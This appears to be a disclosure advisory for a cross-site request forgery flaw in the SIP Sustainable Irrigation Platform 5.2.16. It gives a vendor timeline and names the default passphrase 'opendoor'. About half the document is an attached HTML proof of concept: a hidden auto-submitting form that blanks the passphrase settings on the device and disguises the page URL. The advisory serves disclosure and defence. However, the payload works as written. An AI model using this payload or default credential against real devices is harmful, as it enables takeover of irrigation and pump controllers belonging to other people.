## https://sploitus.com/exploit?id=PACKETSTORM:226809
SIP Sustainable Irrigation Platform 5.x CSRF Disable Passphrase Authorization
High
Advisory ID
ZSL-2026-5995
Release Date
14 July 2026
Vendor
Dan-in-CA - https://github.com/Dan-in-CA/SIP
Affected Version
5.2.16
CVE
CVE-2026-58476
Tested On
Debian GNU/Linux 11 (bullseye) raspberrypi 6.1.21+ (armv6l/aarch64), Python 3.9.2
Summary
SIP is a free Raspberry Pi based Python program for controlling irrigation systems (sprinkler, drip, hydroponic, etc). It uses web technology to provide an intuitive user interface (UI) in several languages. The UI can be accessed in your favorite browser on desktop, laptop, and mobile devices. SIP has also been used to control pumps, lights, and other irrigation related equipment.
Description
The application performs state-changing actions through HTTP GET requests without including any anti-CSRF token or validating the request origin. This can be exploited to perform administrative actions such as disabling the passphrase, rebooting the device, deleting programs or installing plugins if a logged-in administrator is lured into visiting a malicious web page. When the optional passphrase is not enabled (factory default) these actions are additionally available to any unauthenticated user, and where the passphrase is enabled it defaults to 'opendoor'.
Proof of Concept
https://www.zeroscience.mk/codes/sip_csrf.txt
Disclosure Timeline
24.06.2026 Vulnerability discovered.
05.07.2026 Contact with the vendor.
06.07.2026 Vendor responds asking more details.
06.07.2026 Sent details to the vendor.
09.07.2026 Vendor will be working to address the issues.
14.07.2026 Public security advisory released.
Credits
Vulnerability discovered by Anja Ivanovska
References
[1] https://github.com/Dan-in-CA/SIP/issues/357
Changelog
14.07.2026 Initial release
--- packet storm attached poc ---
<!--
SIP Sustainable Irrigation Platform 5.x CSRF Disable Passphrase Authorization
Vendor: Dan-in-CA
Product web page: https://github.com/Dan-in-CA/SIP
Affected version: 5.2.16
Summary: SIP is a free Raspberry Pi based Python program for
controlling irrigation systems (sprinkler, drip, hydroponic,
etc). It uses web technology to provide an intuitive user
interface (UI) in several languages. The UI can be accessed
in your favorite browser on desktop, laptop, and mobile devices.
SIP has also been used to control pumps, lights, and other Irrigation
related equipment.
Desc: The application performs state-changing actions through
HTTP GET requests without including any anti-CSRF token or validating
the request origin. This can be exploited to perform administrative
actions such as disabling the passphrase, rebooting the device, deleting
programs or installing plugins if a logged-in administrator is lured
into visiting a malicious web page. When the optional passphrase is
not enabled (factory default) these actions are additionally available
to any unauthenticated user, and where the passphrase is enabled it
defaults to 'opendoor'.
Tested on: Debian GNU/Linux 11 (bullseye) raspberrypi 6.1.21+ (armv6l/aarch64)
Python 3.9.2
Vulnerability discovered by Anja Ivanovska
@zeroscience
Advisory ID: ZSL-2026-5995
Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-5995
24.06.2026
-->
<html>
<body>
<form action="http://SIP/co">
<input type="hidden" name="oname" value="ZSL" />
<input type="hidden" name="oloc" value="" />
<input type="hidden" name="olang" value="default" />
<input type="hidden" name="otf" value="on" />
<input type="hidden" name="ohtp" value="80" />
<input type="hidden" name="ohtip" value="::" />
<input type="hidden" name="owl" value="42" />
<input type="hidden" name="s0" value="S01" />
<input type="hidden" name="s1" value="S02" />
<input type="hidden" name="s2" value="S03" />
<input type="hidden" name="s3" value="S04" />
<input type="hidden" name="s4" value="S05" />
<input type="hidden" name="s5" value="S06" />
<input type="hidden" name="s6" value="S07" />
<input type="hidden" name="s7" value="S08" />
<input type="hidden" name="onbrd" value="0" />
<input type="hidden" name="osdt" value="0" />
<input type="hidden" name="omton" value="0" />
<input type="hidden" name="omtoff" value="0" />
<input type="hidden" name="orst" value="on" />
<input type="hidden" name="olg" value="on" />
<input type="hidden" name="olr" value="100" />
<input type="hidden" name="opw" value="" />
<input type="hidden" name="npw" value="" />
<input type="hidden" name="cpw" value="" />
<input type="hidden" name="omas" value="0" />
<input type="hidden" name="i0" value="0" />
<input type="hidden" name="sh0" value="3" />
<input type="hidden" name="w0" value="0" />
<input type="hidden" name="m0" value="" />
<input type="submit" value="NoAuth" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>